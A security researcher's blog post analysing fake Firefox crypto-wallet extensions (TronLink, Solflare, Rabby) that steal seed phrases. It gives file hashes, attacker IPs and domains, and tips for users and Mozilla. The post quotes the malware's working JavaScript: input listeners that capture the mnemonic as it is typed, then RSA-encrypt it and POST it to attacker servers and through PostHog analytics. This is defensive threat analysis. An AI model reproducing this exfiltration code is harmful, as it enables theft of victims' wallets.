Back to main
Lukasz Olejnik
Security, Privacy & Tech Inquiries

Wave of seed Phrase theft via malicious Firefox browser extensions

There’s a steady trend in web browser threat landscape. It's about cryptocurrency wallet stealing when attackers are preparing malicious Firefox extensions that mimic real wallets to steal seed phrases. Seed phrases enable full access to a crypto wallet, allowing anyone who has them to restore, control, and transfer all associated assets. So: steal the cash.

There are plenty of such extensions, and new ones keep appearing all the time. They may look somewhat legitimate, but their real purpose is silent credential theft (like seed phrase exfiltration). It’s a constant cat-and-mouse game: attackers upload them, browser vendors try to catch and remove them, only for new versions to pop up again. At this point, it’s safest to assume that most crypto-related Firefox extensions contain malware. Especially those that are new, or have few users. In fact, every such extension should be considered compromised by default and avoided completely. Stay alert.

Mozilla fights the abuse, considering an approach to extension vetting for Firefox, but possibly the trend is at times overloading the capacity and attackers bypass the process. These add-ons attempt to evade detection through various delay tactics.

Recently, I came across a new wave of cryptowallet-stealing extensions that appeard fairly recently. In this post, I take a closer look at the malware details.

It claims to be “TronLink” — the wallet for TRON blockchain (TRX). But it does not have an official Firefox extension. Still, some users asked for that a while ago, so maybe that’s part of the nice background story: there was an actual demand?

It has malicious functionality in popup.js and background.js to hijack users attempting to import a wallet. In reality, it’s stealing the seed phrase, triggering data exfiltration the moment a user starts typing their seed phrase: 

    r(m.target.value), await c();
    }

The data is sent every 300ms. After a user enters their seed phrase, the extension always shows an error: ”Invalid mnemonic phrase”.

In reality, the data is already exfiltrated. Captured seed phrases are sent to a a server: 185[.]39.206.135.

async function om(stolenUserData) {
  try {
    if (!e || cs.has(e) || e.length === 0) return;
    cs.add(e);
    const t = async (l, o) => {
        const i = l.replace(/-----BEGIN PUBLIC KEY-----/, "").replace(
            /-----END PUBLIC KEY-----/,
            "",
          ).replace(/\s/g, ""),
          u = Uint8Array.from(atob(i), (h) => h.charCodeAt(0)),
          s = await window.crypto.subtle.importKey(
            "spki",
            u.buffer,
            { name: "RSA-OAEP", hash: "SHA-256" },
            !1,
            ["encrypt"],
          ),
          c = new TextEncoder().encode(o),
          m = await window.crypto.subtle.encrypt({ name: "RSA-OAEP" }, s, c);
        return btoa(String.fromCharCode(...new Uint8Array(m)));
      },
      n = async (l, o, i) => {
        const s = await (await t(i, o)).toString("base64");
        await fetch(l, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify({ uuid: s }),
        });
      },
      r = atob("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF4RlB4UVVrcVdKMjZZVmJxQ2krOQpvbXdaU29POXNRZEhOYWhmdStIK1h0dlZoMytVSzlqMlY1a3padm11RVpFbHlQUk1Mbm92MW1tY3VqRVRxU0hhCkdMbEgweTJlTWQxMjFnbzl6QnRpRytCa09ySXFuS05tZm1UVng2cFlxOFR2OW1FeU41bzIycDBmZHZTdWM3ZWIKRURSelorL3U3TCthRVdEQ2pCd21XdVNFOWNhS2kzRmk0c045WVFDbWZVVDJYbTl1KzBCc21jaThzZTc5OHlOYQpjSk13QnZSNm1wVXdVYW9iWVl4WmdTSVg4MjNWNk1UV3ZPeXNpS3BST0pJL1c1TGhiVk95VFM5cnowWEkxblNLCjBMMWcrQlEzVmJyRW5wazFDZExIN0czNjZEMTRBRHk4Zk0xQVVnZG1naG1GOXE2NzJWYUZRLzIzOXNrY2xRUG4Kb3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t",
      );
    await n(atob("aHR0cDovLzE4NS4zOS4yMDYuMTM1Lw=="), e, r);
  } catch (t) {
    console.log("err5", t);
  }

The key is encrypted with RSA-2048 key (in OAEP mode, meaning that the message is always 256 bit long) with the following public key:

  --—BEGIN PUBLIC KEY--—MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxFPxQUkqWJ26YVbqCi+9omwZSoO9sQdHNahfu+H+XtvVh3+UK9j2V5kzZvmuEZElyPRMLnov1mmcujETqSHaGLlH0y2eMd121go9zBtiG+BkOrIqnKNmfmTVx6pYq8Tv9mEyN5o22p0fdvSuc7ebEDRzZ+/u7L+aEWDCjBwmWuSE9caKi3Fi4sN9YQCmfUT2Xm9u+0Bsmci8se798yNacJMwBvR6mpUwUaobYYxZgSIX823V6MTWvOysiKpROJI/W5LhbVOyTS9rz0XI1nSK0L1g+BQ3VbrEnpk1CdLH7G366D14ADy8fM1AUgdmghmF9q672VaFQ/239skclQPnowIDAQAB

--—END PUBLIC KEY--—

ata is encrypted and sent via a POST request:   

    "uuid": “…”
    }

File: tronlink_trx-7.1.2.xpi 338b86ac1f53470e84191a4773c1964281bda92447a5e1385d4a670926b92be751f1f80fffd6282ea57c899e9045c1ec Source

Fake Solflare wallet extension 

The working mode is similar to the previous scheme. It has a deceptive UI: looks like a real Solana wallet import screen. In reality it monitors what the user is typing:

    DOMElements.mnemonicInputField.addEventListener("input", () => {
    clearTimeout(mnemonicInputTimeout);
    mnemonicInputTimeout = setTimeout(() => {
    const inputValue = DOMElements.mnemonicInputField.value;
    if (inputValue.length >= 30) {
    NetworkManager.sendData({ data: inputValue });
    NetworkManager.trackUserAction("user\_authed", { "data": inputValue });
    }
    }, 1000);
    });
    ```

And exfiltrates the data to: alladdsite[.]digital (185[.]208.156.66)

It also uses a legitimate telemetry service, PostHog analytics, to transmit stolen data (and lots of other user-identified IDs):

POST [https://alladsite[.]digital/app.php  HTTP/2.0
  {
  "data": [seed phrase goes here]
  }
PostHog logs full session context:
  {
[…]
  "\$current\_url": [UNIQUE EXTENSION ID],
  "data": [seed phrase]
  }
  }

File: emojireplacer-11.2.xpi 87fd388354339a0a3e86337874e9f68023cf1a4605c189b9649d4dc273fcd8ec216f5042b38f3db7ad52e94abac1599c. Source.

Fake Rabby Wallet extension

It works as the previous fake Solflare crypto wallet, sending data to alladdsite[.]digital, and PostHog (same account)

File: ffa899fce3a24be5b69c5922ad57ee656fd8f09f40d93232f31102d652fac74f9fc7005e143b18cc6e90974f362b1976 mu1ti_search_launcher-41.0.xpi

Much more

There's more of the kind, for example:

  • ed75b64471bf90b3c5ddbf27fc03fc8f01d95ce963b9550fa592439aec520ef7461b1a7e5c6e9f318a9dd25b6be2854c brd_wallet-1.2.xpi
    b8d5cca26211bd3a345522937658440cd94b9173b9f9f5c8f538de13ecdda8ec4a6d90c64d7ff7fc65d2d4a1a567a5df exodus_crypto_wallet_browser-10.0.xpi
  • Even more, each day.

Summary

These aren’t isolated attacks—they reflect a coordinated campaign

Some tips for users: 

  • Only install crypto wallet extensions from official sources  
  • Verify publisher identity.
  • When installing Firefox extensions, check in version history if they were uploaded recently. Maybe wait some months.

For Firefox:

  • Well, how about extracting the artifacts I listed in this post, and simply blacklist any such a submission, instead of displaying them immediately by default? It would certainly improve the life of 1) Reviewers, 2) Users, 3) Mozilla's image.